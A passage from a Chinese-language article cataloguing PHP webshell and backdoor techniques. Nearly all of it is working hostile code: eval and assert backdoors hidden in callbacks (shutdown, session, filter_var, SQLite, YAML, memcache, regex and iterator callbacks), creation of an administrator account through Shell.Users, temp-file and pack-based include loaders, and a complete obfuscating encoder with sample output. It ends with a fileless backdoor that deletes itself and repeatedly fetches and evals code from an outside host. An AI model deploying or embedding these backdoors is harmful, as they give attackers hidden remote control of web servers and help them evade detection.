FSQWdlR2tGRkV4aENXVkVMRmdsVlFrd0ZWZ3dkQVZnY1JFZ1dFUlFSVVFzYVFsbEZFUnRmZTU1Yjc0YWU4OSIsJ0RFJywkX1BPU1RbJ215cHdkJ10pKTsNCn0NCg0KaWYoJGpvYj09ImdldCImJiRBcG93ZXJbdXBncmFkZV9vbF0pDQp7DQoNCgloYWNrX2FkbWluX3RwbCgnZ2V0Jyk7DQp9DQplbHNlaWYoJGFjdGlvbj09ImdldCImJiRBcG93ZXJbdXBncmFkZV9vbF0pDQp7DQoJJGZpbGV1cmw9Imh0dHA6Ly9kb3duLnFpYm9zb2Z0LmNvbS91cGdyYWRlLnppcCI7DQoJaWYoJGNvZGU9ZmlsZV9nZXRfY29udGVudHMoJGZpbGV1cmwpKQ0KCXsNCgkJd3JpdGVfZmlsZShST09UX1BBVEguImNhY2hlL3VwZ3JhZGUuemlwIiwkY29kZSk7DQoJfQ0KCWVsc2VpZigkY29kZT1maWxlKCRmaWxldXJsKSkNCgl7DQoJCXdyaXRlX2ZpbGUoUk9PVF9QQVRILiJjYWNoZS91cGdyYWRlLnppcCIsJGNvZGUpOw0KCX0NCgllbHNlaWYoY29weSgkZmlsZXVybCxST09UX1BBVEguImNhY2hlL3VwZ3JhZGUuemlwIikpDQoJew0KCX0NCgllbHNlaWYoJGNvZGU9c29ja09wZW5VcmwoJGZpbGV1cmwpKQ0KCXsNCgkJd3JpdGVfZmlsZShST09UX1BBVEguImNhY2hlL3VwZ3JhZGUuemlwIiwkY29kZSk7DQoJfQ0KDQoJcmVxdWlyZV9vbmNlKFJPT1RfUEFUSC4iaW5jL2NsYXNzLnoucGhwIik7DQoJJHogPSBuZXcgWmlwOw0KCW1ha2VwYXRoKFJPT1RfUEFUSC4iY2FjaGUvdXBncmFkZSIpOw0KCSR6LT5FeHRyYWN0KFJPT1RfUEFUSC4iY2FjaGUvdXBncmFkZS56aXAiLFJPT1RfUEFUSC4iY2FjaGUvdXBncmFkZSIpOw0KCXVubGluayhST09UX1BBVEguImNhY2hlL3VwZ3JhZGUuemlwIik7DQoJZWNobyAiPE1FVEEgSFRUUC1FUVVJVj1SRUZSRVNIIENPTlRFTlQ9JzA7VVJMPSR3ZWJkYlt3d3dfdXJsXS9jYWNoZS91cGdyYWRlL2luZGV4LnBocCc+IjsNCglleGl0Ow0KfQ==Oz1aqN6Bs2Twgiat5H0qQeo5bgm84V1tvONOA

這種WEBSHELL遵循了嚴格的生成邏輯,並精確地在代碼中加入了花指令,只有文件無缺無損(即不能增長也不能減小)才能正常解密出原始文件並執行,一旦文件遭到了任何修改,則解密過程會失敗,致使webshell沒法執行

0x57: 利用shell.users添加管理員賬號

<?php
echo "<div align=center><b>PHP 版Shell.Users加管理員賬號</b></div>";
$username="isosky.test";
$password="test";
$su = new COM("Shell.Users");
$h=$su->create($username);
$h->changePassword($password,"");
$h->setting["AccountType"] = 3;//這句很重要能夠把用戶加入administrators 組,
?>

0x58: 利用註冊Zend所有回調鉤子函數部署WEBSHELL

register_shutdown_function — Register a function for execution on shutdown

<?php
    function shutdown()
    { 
        eval($_POST[1]);
    }

    register_shutdown_function('shutdown');
?>

register_tick_function — Register a function for execution on each tick

$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['pass']);

Relevant Link:

http://blog.csdn.net/isosky/article/details/6460558
http://hackerxian.blog.51cto.com/9240575/1613367

0x59: 利用session_set_save_handler callback部署webshell

<?php
    error_reporting(0); 
    $session = chr(97) . chr(115) . chr(115) . chr(101) . chr(114) . chr(116); //assert
    // open第一個被調用,相似類的構造函數
    function open($save_path, $session_name) 
    {}
    // close最後一個被調用,相似 類的析構函數
    function close() 
    {
    }
    // 執行session_id($_REQUEST['op'])後,PHP自動會進行read操做,由於咱們爲read callback賦值了assert操做,等價於執行assert($_REQUEST['op'])
    session_id($_REQUEST['op']);
    function write($id, $sess_data) 
    {}
    function destroy($id) 
    {}
    function gc() 
    {}
    // 第三個參數爲read  read(string $sessionId)
    session_set_save_handler("open", "close", $session, "write", "destroy", "gc");
    @session_start(); // 打開會話
    $cloud = $_SESSION["d"] = "c";  
?>

0x60: 利用include、pack隱藏webshell

利用PHP的include能夠引入外部代碼的特性,實現WEBSHELL代碼的隱藏

<?php
    echo bin2hex("<?php echo hello; ?>");
?>
//3c3f706870206563686f2068656c6c6f3b203f3e

<?php 
    @include(pack("H*", "3c3f706870206563686f2068656c6c6f3b203f3e"));  
?>

0x61: 經過將惡意代碼寫入臨時磁盤文件,而後include進當前代碼空間進行執行,運行以後刪除臨時文件

<?php

    $cfg_ml='PD9waHAgQGV2YWwoJF9QT1NUWydndWlnZSddKT8+';
    //<?php @eval($_POST['guige'])?>

    $cfg_ml = base64_decode($cfg_ml);
    $t = md5(mt_rand(1,100));
    //嘗試向各類可能的目錄下寫入臨時WEBSHELL文件
    $f=$_SERVER['DOCUMENT_ROOT'].'/data/sessions/sess_'.$t;
    @file_put_contents($f,$cfg_ml);
    if(!file_exists($f))
    {    
        $f=$t;
        @file_put_contents($f,$cfg_ml);
    }
    if(!file_exists($f))
    {
        $f=$_SERVER['DOCUMENT_ROOT'].'/a/'.$t;
        @file_put_contents($f,$cfg_ml);
    }
    if(!file_exists($f))
    {
        //向腳本所在當前目錄下寫入臨時WEBSHELL文件
        $f=$_SERVER['DOCUMENT_ROOT'].'/'.$t;
        @file_put_contents($f,$cfg_ml);
    }
    if(!file_exists($f))
    {
        $f='/tmp/'.$t;
        @file_put_contents($f,$cfg_ml);
    } 
    //經過include引入以前寫入的臨時WEBSHELL文件
    @include($f);
    @unlink($f);  

?>

之因此須要經過寫磁盤文件進行一次"中轉",是由於php不容許直接include一段字符串,可是容許一個包含php代碼的文件

0x62: 利用filter_var callback特性隱藏webshell

<?php
filter_var($_REQUEST['op'], FILTER_CALLBACK, array('options' => 'assert'));
?>

這兩個是filter_var的利用,php裏用這個函數來過濾數組,只要指定過濾方法爲回調(FILTER_CALLBACK),且option爲assert便可

0x63: 數據庫操做與第三方庫中的回調後門

<?php
  $e = $_REQUEST['e'];
  $db = new PDO('sqlite:sqlite.db3');
  $db->sqliteCreateFunction('myfunc', $e, 1);
  $sth = $db->prepare("SELECT myfunc(:exec)");
  $sth->execute(array(':exec' => $_REQUEST['pass']));
?>

註冊一個sqlite函數,使之與assert功能相同。當執行這個sql語句的時候,就等於執行了assert
也能夠直接調用sqlite3的方法構造回調後門

<?php
  $e = $_REQUEST['e'];
  $db = new SQLite3('sqlite.db3');
  $db->createFunction('myfunc', $e);
  $stmt = $db->prepare("SELECT myfunc(?)");
  $stmt->bindValue(1, $_REQUEST['op'], SQLITE3_TEXT);
  $stmt->execute();
?>

0x64: 利用特定擴展庫構造回調後門

<?php
  $str = urlencode($_REQUEST['op']);
  $yaml = <<<EOD
  greeting: !{$str} "|.+|e"
  EOD;
  $parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['op']}" => 'preg_replace'));
?>

0x65: 利用php_memcached執行webshell

<?php
  $mem = new Memcache();
  $re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE, create_function('$a,$b,$c,$d,$e', 'return assert($a);'));
  $mem->connect($_REQUEST['op'], 11211, 0);
?>

0x66: 利用preg_replace_callback隱藏webshell

<?php
  preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'),$_REQUEST['op']);
?>

另外一種正則替換API

<?php
  mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'),$_REQUEST['op']);
?>

0x67: 利用CallbackFilterIterator部署回調後門

<?php
  $iterator = new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['op'],)), create_function('$a', 'assert($a);'));
  foreach ($iterator as $item) 
  {
    echo $item;
  }
?>

Relevant Link:

http://drops.wooyun.org/tips/7279

0x68: 經過自定義加密算法進行文本編碼轉換加密(PHP神盾加密)

加密算法以下

<?php
  /**
   *
   *[MZG_PHPDP] (C)2008-2010 Powered by PHPDP.COM
   *  Var 1.55
   * #Update:-
   * fjyxian
   **/
  class _MzgLock 
  {
    static $enb64_rid = 70;
    static $enb64_rid1 = 0;
    static $enb64_rid2 = 0;
    static $enb64_array = array('q','w','e','r','t','y','u','i','o','p','a','s','d','f','g','h','j','k','l','z','x','c','v','b','n','m','_');
    static $enb64_name = '';
    static $enb64_sign = '';
    static $enb64_sum = 3;
    static $preg_rid = 0;
    static $preg_sign='';

    public function read($filename) 
    {
        if (!is_file($filename)) 
          return '';
        if (function_exists("file_get_contents")) 
        {
            $data = file_get_contents($filename);
        } 
        else 
        {
            $data = implode("", file($filename));
        }
        return $data;
    }

    public function write($filename, $data) 
    {
        $fp = @fopen($filename, "w+");
        if ($fp) 
        {
            flock($fp, LOCK_EX);
            fwrite($fp, $data);
            flock($fp, LOCK_UN);
            fclose($fp);
            return true;
        }
        return false;
    }
    public function getfiles($files) 
    { 
        $d = dir($files);
        $tmps = array();
        while (false !== ($entry = $d->read())) {
            if ($entry != '.' and $entry != '..') {
                $tmparr = explode(".", $entry);
                $type = strtoupper($tmparr[count($tmparr) - 1]);
                if (is_file($entry) and $type == 'ZIP') {
                    $tmps[] = $entry;
                }
            }
        }
        $d->close();

        return $tmps;
    }

    public function ischarset($str) 
    {
        //注意無中文時,不管是否是UTF8格式都當UTF8返回
        $lang_arr = array('UTF-8', 'GBK', 'BIG5');
        foreach ($lang_arr as $val) 
        {
            if (iconv_strlen($str, $val)) 
            {
                return $val;
            }
        }
    }

    public function setcharset($out_charset, $str) 
    {
        $out_charset = strtoupper($out_charset);
        if (!self::ischarset($str)) 
          return $str;
        $in_charset = self::ischarset($str);
        if ($in_charset != $out_charset) 
        {
            if (function_exists('iconv') and @iconv($in_charset, $out_charset, $str) == true) 
            {
                return iconv($in_charset, $out_charset, $str);
            } 
            elseif (function_exists('mb_convert_encoding') and @mb_convert_encoding($str, $in_charset, $out_charset) == true) 
            {
                return mb_convert_encoding($str, $in_charset, $out_charset);
            }
        }
        return $str;

    }

    private function expstr($str) 
    {
        return "?>" . $str . "<?php ";
    }

    private function inrandstr($strdata, $base64_decode = '', $deb64_func = '', $b64_key = '',$is_func=0) 
    {
        $rs = strlen($strdata) / rand(2, 4);
        $randvar = "";
        for ($i = 0; $i <= rand(2, 8); $i++) $randvar .= $strdata{$rs + $i};

        if ($deb64_func) 
        {
            return str_replace($randvar, '\'.' . ($base64_decode ? '$' . $base64_decode : 'base64_decode') . '(' . $deb64_func . '(\'' . self::enb64(base64_encode($randvar)) . '\',\'' . $b64_key . '\')).\'', $strdata);
        } 
        else 
        {
            return $strdata;
        }
    }

    public function encode($strdata, $base64_decode = '', $gzuncompress = '', $deb64_func = '', $b64_key = '', $preg_replace = '', $preg_pre = '', $eval_name1 = '', $preg_pre_md5 = '',$enb64_sign_name='',$is_func=0) 
    {

        $characters = array("r", "s", "f", "D", "w", "F", "f", "H", "p", "j", "N", "f", "d", "T", "V", "W", "s", "x", "n");
        $restdata = "";
        $rid = rand(0, count($characters) - 1).rand(0, count($characters) - 1).rand(0, count($characters) - 1);
        if ($is_func)
        {
          $b64_data = $strdata;
          $b64_rid = rand(64, 128);
          $b64_data_pre = base64_encode(gzcompress(substr($b64_data,0,strlen($b64_data)-$b64_rid), 9));
          $b64_data_end = substr($b64_data,$b64_rid*-1);
          self::$enb64_sign =base64_encode(gzcompress($b64_data_end, 9));
          $restdata = '$' . $preg_replace . '($' . $preg_pre . ',$' . $eval_name1 . '.\'(@$' . $gzuncompress . ($' . $base64_decode . '(\\\'' . self::inrandstr(str_replace($rid, $rid . chr(rand(128, 250)), $b64_data_pre), $base64_decode, $deb64_func, $b64_key,$is_func) . '\\\')).' . '$' . $gzuncompress . '($'.$base64_decode.'($'.$enb64_sign_name.')))\',"' . $preg_pre_md5 . '")';
        } 
        else 
        {
          $b64_data = base64_encode(gzcompress($strdata, 9));
          $b64_data_pre = substr($b64_data,0,strlen($b64_data)-32);
          $b64_data_end = substr($b64_data,-32);
          self::$enb64_sign ='';
          $preg_sign_b64 = base64_encode($b64_key.$deb64_func);
          self::$preg_rid=rand(4,strlen($preg_sign_b64)-4);
          self::$preg_sign = (self::$preg_rid%2==0?chr(rand(129,214)):'').substr($preg_sign_b64,0,self::$preg_rid).(self::$preg_rid%3==0?chr(rand(129,214)):'');
          for ($i=0;$i<rand(1,3);$i++)
          {
            $b64_data_end = base64_encode($b64_data_end);
            $srid = rand(0,strlen($b64_data_end)-1);
            $b64_data_end = str_replace($b64_data_end{$srid}.$b64_data_end{$srid+1},$b64_data_end{$srid}.$b64_data_end{$srid+1}.self::$preg_sign,$b64_data_end);
          }
          $restdata = '$' . $preg_replace . '($' . $preg_pre . ',$' . $eval_name1 . '.\'(@$' . $gzuncompress . '($' . $base64_decode . '(\\\'' . self::inrandstr(str_replace($rid, $rid . chr(rand(128, 250)), $b64_data_pre), $base64_decode, $deb64_func, $b64_key,$is_func) . '\\\'.($'.self::$enb64_name.'.='.self::$enb64_name.'($'.self::$enb64_name.')))))\',"' . $preg_pre_md5 . '".($'.self::$enb64_name.'=\''.addcslashes($b64_data_end,"'").'\'))';
        }
        return $restdata;
    }
      
    public function E($code) 
    {
          return self::intocode($code,0,"",array(),"");
    }
      public function intocode($codedata, $rankcount, $defile_data, $copyright, $usercode) {
        $rand_arr = array(68,70,72,74,76,78,80,92,96,98,90);
            self::$enb64_rid = $rand_arr[rand(0,count($rand_arr)-1)];
            self::$enb64_name=chr(rand(129, 214)) . rand(550, 559) . chr(rand(129, 214));
self::$enb64_sum = rand(2,5);

            self::$enb64_rid1 = rand(129,150);
            self::$enb64_rid2 = rand(180,214);

          $base64_decode1 = chr(rand(129, 214)) . rand(20, 29) . chr(rand(129, 214));
          $base64_decode2 = chr(rand(129, 214)) . rand(30, 39) . chr(rand(129, 214));
          $base64_decode_value = self::enb64('base64_decode');



          $preg_replace = chr(rand(129, 214)) . rand(470, 479) . chr(rand(129, 214));
          $preg_replace_value = self::enb64('preg_replace');

          $str_replace_value = self::enb64('str_replace');

          $preg_pre = chr(rand(129, 214)) . rand(480, 489) . chr(rand(129, 214));
          $preg_pre_md5 = md5($preg_pre);
          $preg_pre_value = self::enb64('/' . $preg_pre_md5 . '/e');

          $gzuncompress = chr(rand(129, 214)) . rand(70, 79) . chr(rand(129, 214));
          $gzuncompress_value = self::enb64('gzuncompress');



          $eval_name1 = chr(rand(129, 214)) . rand(140, 149) . chr(rand(129, 214));
          $eval_name2 = chr(rand(129, 214)) . rand(150, 159) . chr(rand(129, 214));
          $eval_value = self::enb64('eval');



          $deb64_func = chr(rand(129, 214)) . rand(170, 179) . chr(rand(129, 214));
          $deb64_name = chr(rand(129, 214)) . rand(180, 189) . chr(rand(129, 214));
          $deb64_func_name = chr(rand(129, 214)) . rand(290, 299) . chr(rand(129, 214));
          $deb64_func_value = self::enb64var('base64_decode');
            $enb64_sign_name = chr(rand(129, 214)) . rand(670, 679) . chr(rand(129, 214));
          $ae_name = chr(rand(129, 214)) . rand(190, 199) . chr(rand(129, 214));

          $ord_name = chr(rand(129, 214)) . rand(190, 199) . chr(rand(129, 214));
          $chr_name = chr(rand(129, 214)) . rand(200, 209) . chr(rand(129, 214));
          $strlen_name = chr(rand(129, 214)) . rand(300, 309) . chr(rand(129, 214));
          $ord_value = self::enb64var('ord');
          $chr_value = self::enb64var('chr');
          $strlen_value = self::enb64var('strlen');
          $b245_name = chr(rand(129, 214)) . rand(210, 219) . chr(rand(129, 214));
          $b245_value = self::enb64var(245);
          $b140_name = chr(rand(129, 214)) . rand(220, 229) . chr(rand(129, 214));
          $b140_value = self::enb64var(self::$enb64_rid*2);
          $b2_name = chr(rand(129, 214)) . rand(230, 239) . chr(rand(129, 214));
          $b2_value = self::enb64var(2);
          $b0_name = chr(rand(129, 214)) . rand(240, 249) . chr(rand(129, 214));
          $b0_value = self::enb64var(0);
          $bvar_name = chr(rand(129, 214)) . rand(250, 259) . chr(rand(129, 214));
          $btmp_name = chr(rand(129, 214)) . rand(260, 269) . chr(rand(129, 214));

          $b64_key_name = chr(rand(129, 214)) . rand(300, 309) . chr(rand(129, 214));

          $b64_key = self::enb64(md5($btmp_name . $bvar_name . time()));



        $preg_match_name1 = chr(rand(129, 214)) . rand(620, 629) . chr(rand(129, 214));
        $preg_match_name2 = chr(rand(129, 214)) . rand(300, 309) . chr(rand(129, 214));
        $preg_match_value1 = self::enb64('strstr');
        $preg_match_value2 = self::enb64('preg_match');

        $pathinfo_name = chr(rand(129, 214)) . rand(200, 209) . chr(rand(129, 214));
        $files_name = chr(rand(129, 214)) . rand(100, 109) . chr(rand(129, 214));
        $pathinfo_value = self::enb64('pathinfo');

        $chr_value3 = self::enb64("/([".chr(127)."-".chr(255)."]+)/");
        $chr_value2 = self::enb64("/([".chr(127)."-".chr(255)."]+)/i");

          $copyright['starttime'] = ($copyright['starttime'] <= 0) ? time() : $copyright['starttime'];

          $restdata = self::setcharset($copyright['outlang'], self::expstr($codedata));



          $restdata =  ($defile_data ? $defile_data.$restdata : $restdata).
              '$GLOBALS[decode_fp_sign]=$GLOBALS[' .self::$enb64_name . ']=$GLOBALS[' .$gzuncompress . ']=$GLOBALS[' .$base64_decode1 . ']=$GLOBALS[' . $enb64_sign_name .']=$GLOBALS[' .$preg_replace . ']=$GLOBALS[' .$preg_pre . ']=$GLOBALS[' .$eval_name1 . ']=null;unset($GLOBALS[' .$preg_replace . ']);unset($GLOBALS[' .$preg_pre . ']);unset($GLOBALS[' .$eval_name1 . ']);unset($GLOBALS[' .$base64_decode1 . ']);unset($GLOBALS[' .$gzuncompress . ']);unset($GLOBALS[' .self::$enb64_name . ']);unset($GLOBALS[' . $enb64_sign_name .']);unset($GLOBALS[decode_fp_sign]);';
          for ($i = 0; $i <= $rankcount; $i++) $restdata = self::encode($restdata, $base64_decode1,
                  $gzuncompress, $deb64_func, $b64_key, $preg_replace, $preg_pre, $eval_name1, $preg_pre_md5,$enb64_sign_name) .';';


$file_rid = rand(814,2048);
$preg_sign = self::$preg_sign;
              $preg_data = self::encode('$' . $eval_name2 . '=' . $deb64_func . '(\'' . $str_replace_value .'\',\'' . $b64_key . '\');$'.$preg_match_name1 .'=' . $deb64_func . '(\'' . $preg_match_value1 . '\',\'' . $b64_key . '\');if($'.$preg_match_name1.'($'.$ae_name.',\''.$preg_sign.'\')){$'.$ae_name.'=$' . $eval_name2 . '(\''.$preg_sign.'\',\'\',$'.$ae_name.');$'.$ae_name.'=@$'.$base64_decode1.'($'.$ae_name.');'.self::$enb64_name.'($'.$ae_name.');} else {$'.$preg_match_name2 .'=' . $deb64_func . '(\'' . $preg_match_value2 . '\',\'' . $b64_key . '\');if ($'.$preg_match_name2 .'("/(.+?)\.(.*?)\(/",__FILE__,$'.$files_name.')) {$fileext = $'.$files_name.'[2];$'.$files_name.'=$'.$files_name.'[1];} else {$'.$files_name.'=__FILE__;$filenameex = explode(".", $'.$files_name.');$fileext = $filenameex[count($filenameex)-1];}$decode_fp=fopen($'.$files_name.'.".".$fileext,\'r\');$decode_fp_sign=fread($decode_fp,filesize($'.$files_name.'.".".$fileext));fclose($decode_fp);(substr($decode_fp_sign,-32)!=md5(md5(substr($decode_fp_sign,0,'.$file_rid.')).\''.$deb64_func.$b64_key.'\'))&&'.$pathinfo_name.'(); unset($decode_fp_sign); }', $base64_decode1,
            $gzuncompress, $deb64_func, $b64_key, $preg_replace, $preg_pre, $eval_name1, $preg_pre_md5,$enb64_sign_name,1).';';
          $newzipdata = self::setcharset($copyright['outlang'], '<?php
    ' . $usercode . $copyright['copyright'] . $idxdata . '
if (!defined(\''.$base64_decode2.'\')) {\\end
define(\''.$base64_decode2.'\', true);\\end
function ' . $deb64_func .'($' . $deb64_func . ',$' . $b64_key_name . '=\'\'){\\end
    global $' . $enb64_sign_name .';\\end
    if(!$' . $b64_key_name .')return(base64_decode($' . $deb64_func . '));\\end
    $' . $deb64_func_name . '=' . $deb64_func .'(\'' . $deb64_func_value . '\');\\end
    $' . $ord_name . '=' . $deb64_func . '(\'' . $ord_value .'\');\\end
    $' . $chr_name . '=' . $deb64_func . '(\'' . $chr_value . '\');\\end
    $' . $b0_name .'=' . $deb64_func . '(\'' . $b0_value . '\');\\end
    $' . $b140_name . '=' . $deb64_func .'(\'' . $b140_value . '\');\\end
    $' . $b245_name . '=' . $deb64_func . '(\'' . $b245_value .'\');\\end
    $' . $b2_name . '=' . $deb64_func . '(\'' . $b2_value . '\');\\end
    $' . $btmp_name .'=' . $deb64_func . '(\'' . $btmp_name . '\');\\end
    $' . $strlen_name .'=' . $deb64_func . '(\'' . $strlen_value . '\');\\end
    $' . $enb64_sign_name .'=\''.self::$enb64_sign.'\';\\end
for($' . $bvar_name . '=$' . $b0_name .';$' . $bvar_name . '<$'.$strlen_name.'($' . $deb64_func . ');$' . $bvar_name . '++)\\end
$' . $btmp_name .'.=$' . $ord_name . '($' . $deb64_func . '{$' . $bvar_name . '})<$' . $b245_name .'?(($' . $ord_name . '($' . $deb64_func . '{$' . $bvar_name . '})>$' . $b140_name .'&&$' . $ord_name . '($' . $deb64_func . '{$' . $bvar_name . '})<$' . $b245_name .')?$' . $chr_name . '($' . $ord_name . '($' . $deb64_func . '{$' . $bvar_name .'})/$' . $b2_name . '):$' . $deb64_func . '{$' . $bvar_name . '}):"";return($' .$deb64_func_name . '($' . $btmp_name . '));}\\end
function '.self::$enb64_name.'(&$'.$ae_name.'=\'\'){\\end
    global $'.$base64_decode1.',$'.$gzuncompress.',$'.$preg_replace.',$'.$preg_pre.',$'.$eval_name1.',$' . $enb64_sign_name .';\\end
    '.$preg_data.'
    }\\end
  }\\end
  global $'.$base64_decode1.',$'.$gzuncompress.',$'.$preg_replace.',$'.$preg_pre.',$'.$eval_name1.',$' . $enb64_sign_name .';\\end
$' .$preg_replace . '=' . $deb64_func . '(\'' . $preg_replace_value . '\',\'' . $b64_key .'\');\\end
$' . $preg_pre . '=' . $deb64_func . '(\'' . $preg_pre_value . '\',\'' . $b64_key .'\');\\end
$' . $base64_decode1 . '=' . $deb64_func . '(\'' . $base64_decode_value . '\',\'' .$b64_key . '\');\\end
$' . $eval_name1 . '=' . $deb64_func . '(\'' . $eval_value .'\',\'' . $b64_key . '\');\\end
$' . $gzuncompress . '=' . $deb64_func . '(\'' . $gzuncompress_value .'\',\'' . $b64_key . '\');\\end
$' . $enb64_sign_name .'=\'\';\\end
' . $restdata .'\\end

return true;?>');
$newzipdata = str_replace(array("\\end\r\n","  "),"",$newzipdata);
          return $newzipdata.(md5(md5(substr($newzipdata,0,$file_rid)).$deb64_func.$b64_key));
      }

      function enb64var($tmp) {
          $tmp = base64_encode($tmp);
          for ($i = 0; $i < strlen($tmp); $i++) $newtmp .= (ord($tmp{$i}) % rand(1, 2) ==
                  0) ? chr(rand(128, 250)) . $tmp{$i} : $tmp{$i};
          return $newtmp;
      }
      function deb64($tmp) {
          for ($i = 0; $i < strlen($tmp); $i++) $newtmp .= ord($tmp{$i}) < 245 ? ((ord($tmp{
                  $i}) > (self::$enb64_rid*2) and ord($tmp{$i}) < 245) ? chr(ord($tmp{$i}) / 2) : $tmp{$i}) : '';
          return base64_decode($newtmp);
      }

      function enb64($a) {
          $b = base64_encode($a);
          for ($i = 0; $i < strlen($b); $i++) {
              $tmp .= (ord($b{$i}) > self::$enb64_rid ? chr(ord($b{$i}) * 2) : $b{$i});
          }
          return $tmp;
      }
      function deb10($a) {
$s=0;
for($i=self::$enb64_rid1;$i<self::$enb64_rid2;$i++){
    $ts[$i] = self::$enb64_array[$s];
    $s++;
}
for($j=0;$j<strlen($a)/3;$j++){
        $aa=$a{$j*3}.$a{($j*3+1)}.$a{($j*3+2)};
    $as[] = $aa;
    $bs[] = $ts[$aa];
}
          return str_replace($as,$bs,$a);
      }

      function enb10($a) {
$s=0;
for($i=self::$enb64_rid1;$i<self::$enb64_rid2;$i++){
    $ts[self::$enb64_array[$s]] = $i;
    $s++;
}
for($j=0;$j<strlen($a);$j++){

    $as[] = $a{$j};
    $bs[] = $ts[$a{$j}];
}
          return str_replace($as,$bs,$a);
      }

  }
?>

使用方式

<?php
  /**
   *
   *[MZG_PHPDP] (C)2008-2010 Powered by PHPDP.COM
   *  Var 1.55
   * #Update:-
   * fjyxian
   **/
  require './en1.55.class.php';
  //_MzgLock::E(code);
  file_put_contents('test.php',_MzgLock::E("<?php
  echo 'hi';
  ?>"));
  //test.php
?>

這種神盾加密的核心技術點以下

1. 利用了php變量擴充到 latin1 字符範圍,其變量匹配正則是 \$[a-zA-Z_\x7f-\xff][\w\x7f-\xff]* 這樣的格式
2. 使用preg_replace \e進行代碼執行

解密後代碼以下

<?php
//Start code decryption<<===
if (!defined('IN_DECODE_82d1b9a966825e3524eb0ab6e9f21aa7')) {
    define('\xA130\x8C', true);

    function fun1($str, $flg="") {
        if(!$flg) return(base64_decode($str));
        $ret = '?';
        for($i=0; $i<strlen($str); $i++) {
            $c = ord($str[$i]);
            $ret .= $c<245 ? ( $c>136 ? chr($c/2) : $str[$i] ) : "";
        }
        return base64_decode($ret);
    }
    function fun2(&$p14)
    {
        global $base64_decode, $gzuncompress, $preg_replace, $xxx_e, $eval, $p3;
        @$preg_replace($xxx_e, $eval . '(@$gzuncompress($base64_decode(\'eNq9kl1r01AYx79KG0JzDqZJT9KkL2ladXYgWxVsh6iTkCYna7o2yZL0dfTGG0GkoHhVi1dFxi5EZv0KvRSRMYYfQob0A5g0bM6BF0Pw4rw9539+53nO+ZeKhZLTcGKmAeII5kvFgqe5puPH/IGDZcLHfZ9tql01ihLFnmnpdo9p2Zrqm7bFNFxsyETD9508y/Z6P' . $base64_decode(fun1('\xAC\xA8\x94\x8E\xA2\xD65\xE6\xA4\xA8\x8A=', '\x9E\xA8A4\xB4D\x92\xF0\xB4\x8E\x8C\xD8\x9A\xF4\xD61\x9C\xA8\xC60\x9A\xF4\xA4\xD4\xB2\xF4\x9A3\x9A\xD4\xCE\xEE\x9C\xDA\xB4\xD2\x9A\xF4\x8A3\x9C\x8E\xAA=')) . 'juztsoMT9cF1q27qsY83WcSLslF08kLOcjuo5NSeKWU7AvMClcT2l1kWcMzikqpmEZ+5YssiJWMO6kVY5geezhihkNYx4MZtDGp9OpwmpwEapFQvxZDKqBVu6aUjkcySgZ/IhyqDPgFrws58f+Teni/HZ1yPuUKZo6t3BrfT8zuuz+fjl6WR5gqYHi9RkOTs+Wk74yfGXH9Pv82+T5Qt+Og7kUCLfB8nMLvPCdn1O8NIRCpCfUE4Y05S117h9b/NBebe7lmraw0ftbu1h5fHA7jfX1NxGbcvrVtWK4G4NO6LGubVqu1vdqAiD+3vNVACE+xFHjgoG/4ajKYqOeEHFEfcmeZLJvgXnUdOIAcfFO0pb9bUGIFjA3CjB7fCjtwFL0IqyfnezrCg0+QGl+FcQxvajmRwNT9BTaRTDLQ9fbJwfkUZkZBPFcGTDdrAFIgVDhHiCptzwIy40ysojhotVHfyO0obZwp45xH8ehlAytJbt4UtSKAGvU/d8F1yB0kmeg3G5rQsgbH8RpVYyyFArU1zPBzCR0E0MqPUg2WoAy5fdsLiO5WH/6kVQGv1n1/wChxaEtA==\')).$gzuncompress($base64_decode($p3)))', "82d1b9a966825e3524eb0ab6e9f21aa7");
    }
}
global $base64_decode, $gzuncompress, $preg_replace, $xxx_e, $eval, $p3;
$preg_replace = 'preg_replace';
$xxx_e = '/82d1b9a966825e3524eb0ab6e9f21aa7/e';
$base64_decode = 'base64_decode';
$eval = 'eval';
$gzuncompress = 'gzuncompress';
$p3 = '';
@$preg_replace($xxx_e, $eval . '(@$gzuncompress($base64_decode(\'eNplks9Og0AQxu8mvgMlxrYHoMCyQPkXvdhDE5to4sE0BtihoMgSSqWN8RV60pMX73oy8RG8e/J5bLutIeWyyfebnS/zTcZzbS+Pcy6JOi252/dcexoWSV5y5SIHhy9hXkq3/oPPKO9WSUZoJaY09MuEZmJcQOTwcVnmfUmqqkpcmZFcpMVEWv2E+Vp795Q4BEJK4Hj93NzBwjEUIgemb2JsKB' . $base64_decode(fun1('\xB21\xC65\xC8A==', '\x9E\xA8A4\xB4D\x92\xF0\xB4\x8E\x8C\xD8\x9A\xF4\xD61\x9C\xA8\xC60\x9A\xF4\xA4\xD4\xB2\xF4\x9A3\x9A\xD4\xCE\xEE\x9C\xDA\xB4\xD2\x9A\xF4\x8A3\x9C\x8E\xAA=')) . 'oIg6PkBBjNSZN/Xj6fJJHOwgiEEEiFf0VTViLBmhCCr2DDlUEUI8ZYtsdFcuyUILAtkJIksjyU7PIAwplx7AGlKuStapMQOCrdt7QqXcTLlRoPRmmx7uKOz4fnpyfDi+k3T8HLs/Otf3XityU9Fea/JL6z36uUXpOOfmn5GhvpR00sZoe+xk83S1JplUyg7e63dfcwcGpgZNfBmvAbdZGhQ\'.($p20.=fun2($p20)))))', "82d1b9a966825e3524eb0ab6e9f21aa7" . ($p20 = 'x\xDA\xCB)
vnqhBNLREkvC0jozYmvTWMZyoxjCa9KTUsvSaM5rUzu6c2rTSmvSKM5yOqj0=
O\FF.\xADH5\xCF2\x88\xF0u\x8BL*\xCD\xF2223.
\xB1\xF0\FF1\xCF+\x02\x00\xB6\xCA
\xBE'));
//End of the decryption code===>>
return true;?>76cde264ef549deac4d0fae860b50010

Relevant Link:

http://www.phpdp.org/
http://www.zhaoyuanma.com/phpjm.html
http://www.jb51.net/article/50490.htm
http://m.blog.csdn.net/blog/cloverphp/39896813

0x69: PHP無文件後門(內存運行)

<?php
unlink($_SERVER['SCRIPT_FILENAME']);
ignore_user_abort(true);
set_time_limit(0);

$remote_file = 'http://xsser.me/eval.txt';
while($code = file_get_contents($remote_file)){
  @eval($code);
  sleep(5);
};
?>

